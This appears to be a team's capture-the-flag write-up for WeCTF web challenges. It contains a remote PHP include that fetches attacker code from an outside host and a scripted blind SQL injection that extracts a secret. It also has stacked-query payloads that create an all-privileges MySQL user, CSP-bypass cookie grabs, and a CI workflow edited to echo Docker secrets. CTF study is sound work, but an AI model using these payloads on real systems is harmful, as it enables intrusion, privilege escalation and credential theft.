# WeCTF
## Welcome [Solved]
NoRelect
```
b64decode("d2UlN0I1ODRjNGNiMC1jYjU4LTQ1YWItOTNhNC0yOWY1YmRhYzlmMjJAaGVsbG9faGFja2VycyU3RSU3RA==")
```
Base64 decode,
then url decode
Flag:
```
we{584c4cb0-cb58-45ab-93a4-29f5bdac9f22@hello_hackers~}
```
## Include [Solved]
NoRelect
Flag is at /flag.txt on filesystem
`http://include.sf.ctf.so/`
```
<?php
show_source(__FILE__);
@include $_GET["🤯"];
Fatal error: Uncaught ValueError: Path cannot be empty in /var/www/html/index.php:3 Stack trace: #0 {main} thrown in /var/www/html/index.php on line 3
```
So, this file includes (and executes) all code from a parameter named '🤯'.
If the [allow-url-include](https://www.php.net/manual/en/filesystem.configuration.php#ini.allow-url-include) option is allowed, we can host our own php file that will then get executed.
This code was hosted at `http://taschtatur.ch/include.php`
```php
<?php
$flag = file_get_contents('/flag.txt');
echo $flag;
?>
```
Sent request:
`http://include.sf.ctf.so/?🤯=http%3A%2F%2Ftaschtatur%2Ech%2Finclude%2Ephp`
`http://include.sf.ctf.so/?🤯=http://taschtatur.ch/include.php`
Both didn't work, tried `http://include.sf.ctf.so/?%F0%9F%A4%AF=/flag.txt`
```html
<code><span style="color: #000000">
<span style="color: #0000BB"><?php<br />show_source</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);<br />@include </span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">"🤯"</span><span style="color: #007700">];<br /></span>
</span>
</code>we{695ed01b-3d31-46d7-a4a3-06b744d20f4b@1nc1ud3_/etc/passwd_yyds!}
```
yay
## CSP 1
mantix101
```
Host 1 (San Francisco): csp1.sf.ctf.so
Host 2 (Los Angeles): csp1.la.ctf.so
Host 3 (New York): csp1.ny.ctf.so
Host 4 (Singapore): csp1.sg.ctf.so
```
Request:
```
curl -X POST --data-raw "content=<h1>Hello</h1>" "http://csp1.ny.ctf.so/write"
```
Response:
```
<!-- Permalink: it's in navbar dumbass -->
<hr>
<h1>Hello</h1>
```
Request (display cookie):
```
<div id="test"></div>
<script>
let test = document.getElementById("test");
test.innerHTML = document.cookie;
</script>
```
Response blocked by Content Security Policy
```
Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'none'". Either the 'unsafe-inline' keyword, a hash ('sha256-oLy/bB06+8NFql2NhndsQAPbeeXQaLtmBP/FeOGYBgA='), or a nonce ('nonce-...') is required to enable inline execution
```
```
Content-Security-Policy: default-src 'none'; connect-src 'self'; img-src 'self' ; script-src 'none'; style-src 'self'; base-uri 'self'; form-action 'self'
```
Possbile Payload
```
<div id="test"></div>
<object data="data:text/html;base64,PHNjcmlwdD4KbGV0IHRlc3QgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidGVzdCIpOwp0ZXN0LmlubmVySFRNTCA9IGRvY3VtZW50LmNvb2tpZTsKPC9zY3JpcHQ+"></object>
```
Nope, if object-src is not given, CSP defaults to default-src
// meta tag
```
<meta http-equiv="Content-Security-Policy" content="default-src https:">
```
```
<img src="https://wectf.free.beeceptor.com;script-src 'unsafe-inline'; ">
<script>alert(1)</script>
```
## Phish (xnull) [Solved]
Request for adding a new Entry
```
curl 'http://phish.sf.ctf.so/add' --data-raw "password=pass&username=user"
```
Will execute the following
```
@app.route("/add", methods=["POST"])
def add():
username = request.form["username"]
password = request.form["password"]
sql = f"INSERT INTO `user`(password, username) VALUES ('{password}', '{username}')"
try:
db.execute_sql(sql)
except Exception as e:
return f"Err: {sql} <br>" + str(e)
return "Your password is leaked :)<br>" + \
"""<blockquote class="imgur-embed-pub" lang="en" data-id="WY6z44D" ><a href="//imgur.com/WY6z44D">Please
take care of your privacy</a></blockquote><script async src="//s.imgur.com/min/embed.js"
charset="utf-8"></script> """
```
If query returns 1 row I receive the message
```<br>UNIQUE constraint failed: user.username```
Else an new entry will be inserted and you will be redirected to a new page with the content
```
Your password is leaked :)<br><blockquote class="imgur-embed-pub" lang="en" data-id="WY6z44D" ><a href="//imgur.com/WY6z44D">Please
take care of your privacy</a></blockquote><script async src="//s.imgur.com/min/embed.js"
charset="utf-8"></script>
```
This is a classic blind sql-injection attack
We can now select substrings from the user "shou" which will be inserted at the start
```
@db.connection_context()
def initialize():
try:
db.create_tables([User])
User.create(username="shou", password=os.getenv("FLAG"))
except:
pass
```
Here a POC
```
curl 'http://phish.sf.ctf.so/add' --data-raw "password=pass&username=somethingveryunique') UNION SELECT username,password from user where username='shou' and substr(password,1,1)='w' --"
```
Now we are able to leak the flag using a python script
```
import requests
from string import printable, digits, ascii_uppercase, ascii_lowercase
import random
url = "http://phish.la.ctf.so/add"
flag = "we{e0df7105-edcd-4dc6-8349-f3bef83643a9@h0P3_u_didnt_u3e_sq1m4P}"
n = len([y for y in flag]) + 1
chars = ascii_lowercase + digits + "-_@{}"
while True:
for c in printable:
username = ''.join(random.choices(ascii_uppercase + digits, k=18))
data={
"username": f"{username}') UNION SELECT username,password from user where username='shou' and substr(password,{n},1)='{c}' --",
"password" :"password"
}
resp = requests.post(url=url, data=data)
if "UNIQUE constraint failed: user.username" in resp.text:
flag = flag + c
n = n +1
print(flag)
if flag[-1] == "}":
break
print(flag)
```
## Coin Exchange (xnull)
Register/Login changes to wss
```
{"type":"init","content":{"username":"verylongusernamethatdoesnotexist1","password":"verylongusernamethatdoesnotexist1"}}
```
Session Token is sha256(username@password)
Pretty interesting (index.html)
```
function start_socket(){
socket = new WebSocket("ws://" + document.URL.substr(7).split('/')[0], "ethexchange-api");
socket.onopen = function(e) {
routine = setInterval(routine_update, 1000)
};
socket.onmessage = function(event) {
let data = JSON.parse(event.data);
let content = data["content"]
switch (data["type"]) {
case "routine":
config = content;
break;
case "message":
alert(content["message"])
break
case "error":
alert("Error occurred, please refresh the page")
break
}
};
}
```
Maybe this can help us with an XSS
I'll have a closer look at:
```
case "message":
alert(content["message"])
break
case "error":
alert("Error occurred, please refresh the page")
break
```
we are able to send the following commands
- "init": sendJson(connection, login(message_json["content"]))
- "ping": sendJson(connection, routine(getToken(request.cookies)))
- "buy": sendJson(connection, buy(message_json["content"], getToken(request.cookies)))
- "sell": sendJson(connection, sell(message_json["content"], getToken(request.cookies)))
- "transfer": sendJson(connection, transfer(message_json["content"], getToken(request.cookies)))
## CloudTable
`cloudtable.sf.ctf.so`
source is available: https://storage.googleapis.com/wectf21-chall/csp1.zip
```python
import json
import os
from flask import Flask, render_template, request, jsonify
from pymysqlpool.pool import Pool
from recaptcha import verify_recaptcha, PUB
import string
import random
app = Flask(__name__)
BASE_DB = "cloudtable"
USERNAME = os.getenv("DB_USER")
PASSWORD = os.getenv("DB_PASSWORD")
HOST = "35.193.26.163"
pool = Pool(host=HOST, user=USERNAME, password=PASSWORD, db="mysql", autocommit=True)
pool.init()
SCHEMA_TYPES = {
1: "INT",
2: "CHAR(255)",
3: "BOOL"
}
def random_string():
letters = string.ascii_lowercase
return ''.join(random.choice(letters) for _ in range(14))
def random_password():
letters = string.ascii_lowercase + string.ascii_uppercase + string.digits
return ''.join(random.choice(letters) for _ in range(31))
def create_instance(schema):
username, password, table_name = random_string(), random_password(), random_string()
attr_count = len(schema)
if attr_count == 0: return None, None, None
# convert schema ({ATTR_NAME: ATTR_TYPE}) to an array
info_arr = schema.keys()
# create sql template for creating table
try:
create_sql_tmpl = f"CREATE TABLE `{BASE_DB}`.`{table_name}`("
for i in info_arr:
create_sql_tmpl += f"`%s` {SCHEMA_TYPES[int(schema[i])]},"
create_sql_tmpl = create_sql_tmpl[:-1] + ");"
except Exception as e:
print(e)
return None, None, None
with pool.get_conn() as conn:
with conn.cursor() as cursor:
# create table
cursor.execute(create_sql_tmpl, tuple(info_arr))
# create temp user
cursor.execute(f"CREATE USER '{username}'@'%' IDENTIFIED BY '{password}';")
cursor.execute(f"GRANT ALL PRIVILEGES ON `{BASE_DB}`.`{table_name}` TO '{username}'@'%';")
cursor.execute(f"FLUSH PRIVILEGES;")
return username, password, table_name
@app.route('/')
def index():
return render_template("index.html", pubkey=PUB)
@app.route('/create', methods=["POST"])
def create():
if not verify_recaptcha():
return "Wrong captcha"
username, password, table_name = create_instance(json.loads(request.form.get("payload")))
return jsonify({
"username": username,
"password": password,
"table_name": table_name,
"host": HOST,
"db": BASE_DB,
})
if __name__ == '__main__':
app.run()
```
```
`); CREATE USER 'zerowidthspace'@'%' IDENTIFIED BY 'zerowidthspace';GRANT ALL PRIVILEGES ON *.* TO 'zerowidthspace'@'%';FLUSH PRIVILEGES --
`); CREATE USER 'zerowidthspace'@'%' IDENTIFIED BY 'zerowidthspace';GRANT ALL PRIVILEGES ON *.* TO 'zerowidthspace'@'%';FLUSH PRIVILEGES; CREATE TABLE cloudtable.asdfasdf (test INT`
`); CREATE USER `zerowidthspace`@`%` IDENTIFIED BY `zerowidthspace`;GRANT ALL PRIVILEGES ON *.* TO `zerowidthspace`@`%`;FLUSH PRIVILEGES; CREATE TABLE cloudtable.asdfasdf (test INT`
asdf` INT); CREATE USER `zerowidthspace`@`%` IDENTIFIED BY `zerowidthspace`;GRANT ALL PRIVILEGES ON *.* TO `zerowidthspace`@`%`;FLUSH PRIVILEGES; CREATE TABLE cloudtable.asdfasdf (`test
CREATE TABLE `cloudtable`.`random_table`(`adsf` INT); CREATE USER zerowidthspace@% IDENTIFIED BY zerowidthspace;GRANT ALL PRIVILEGES ON *.* TO zerowidthspace@%;FLUSH PRIVILEGES; CREATE TABLE cloudtable.asdfasdf (`test` INT);
asdf` INT); CREATE USER '`zerowidthspace`'@'`%`' IDENTIFIED BY '`zerowidthspace`';GRANT ALL PRIVILEGES ON *.* TO '`zerowidthspace`'@'`%`';FLUSH PRIVILEGES; CREATE TABLE cloudtable.asdfasdf (`test
```
## GitHub (abandoned)
github repo here:
```
https://github.com/wectf-challs/production-fd114157-05cb-4e39-800f-00465adea05f
```
published images here:
```
https://hub.docker.com/r/wectfchall/poop
```
pr.yaml
```yaml
name: Say Hi
on: [pull_request]
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: Say Hi
run: |
echo "hi!!"
```
modified to:
```yaml
name: Say Hi
on: [pull_request]
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: Say Hi
run: |
echo ${{ secrets.DOCKER_USERNAME }} ${{ secrets.DOCKER_PASSWORD }}
```
sadly no write access to push own branch